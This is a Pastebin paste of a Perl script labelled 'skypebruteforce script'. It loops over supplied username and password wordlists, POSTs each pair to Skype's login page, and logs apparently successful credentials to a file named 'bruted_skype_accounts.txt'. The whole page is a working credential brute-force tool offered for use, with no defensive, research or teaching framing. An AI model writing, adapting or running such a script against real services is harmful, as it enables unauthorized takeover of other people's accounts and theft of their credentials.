Advertisement
Gentoo7

skypebruteforce script

Aug 28th, 2016
28,059
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.57 KB | None | 0 0
  1. #!perl
  2. #----------------------------------------------------------------------------------------------|
  3.  
  4.  use Getopt::Std;
  5.  use HTTP::Request::Common qw(POST);
  6.  use LWP::UserAgent;
  7.  
  8. $SIG{'INT'} = \&sig_catch;$SIG{'HUP'}='IGNORE';$SIG{'TERM'}='IGNORE';
  9. $SIG{'CHLD'}='IGNORE';$SIG{'ALRM'}='IGNORE';
  10.  
  11.   $| = 1;
  12.  
  13.   sub sig_catch {
  14.   exit;
  15.   }
  16.  
  17.   getopts('u:p:');
  18.   our($opt_u,$opt_p);
  19.  
  20.   my $userlist = $opt_u;
  21.   my $passlist = $opt_p;
  22.  
  23.     if ($userlist eq "") {
  24.     print "\n";
  25.     print "***************************************************************************\n";
  26.     print "usage: perl $0 -u <users> -p <passwords>                                     \n";
  27.     print "***************************************************************************\n";
  28.     exit (1);
  29.     }
  30.  
  31.     open(USERS, "<$userlist") || die ("Cannot open username file");
  32.     open(WORDS, "<$passlist") || die ("Cannot open password file");
  33.     @users= <USERS>;
  34.     @words= <WORDS>;
  35.     close(USERS);
  36.     close(WORDS);
  37.     $i=0;
  38.  
  39.  foreach $user (@users) {
  40.  chomp($user);
  41.  foreach $pass (@words) {
  42.  chomp($pass);
  43.  $ua = LWP::UserAgent->new;
  44.  printf("\n%5d Trying $user:$pass", ++$i);
  45.  my $req = POST 'https://secure.skype.com/store/member/dologin.html',
  46.                 [ username => $user, password => $pass, login => 'Sign+me+in' ];
  47.  
  48.   my $res = $ua->request($req);
  49.  
  50.   if ($res->as_string =~ /cookiecheck/gi) {
  51.   open (LOG, ">>bruted_skype_accounts.txt");
  52.   $time = time();
  53.   $loctime = localtime($time);
  54.   print LOG "\n";
  55.   print LOG "Time: $loctime\n";
  56.   print LOG "username: $user\n";
  57.   print LOG "passowrd: $pass\n\n";
  58.   close(LOG);
  59.   }}}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement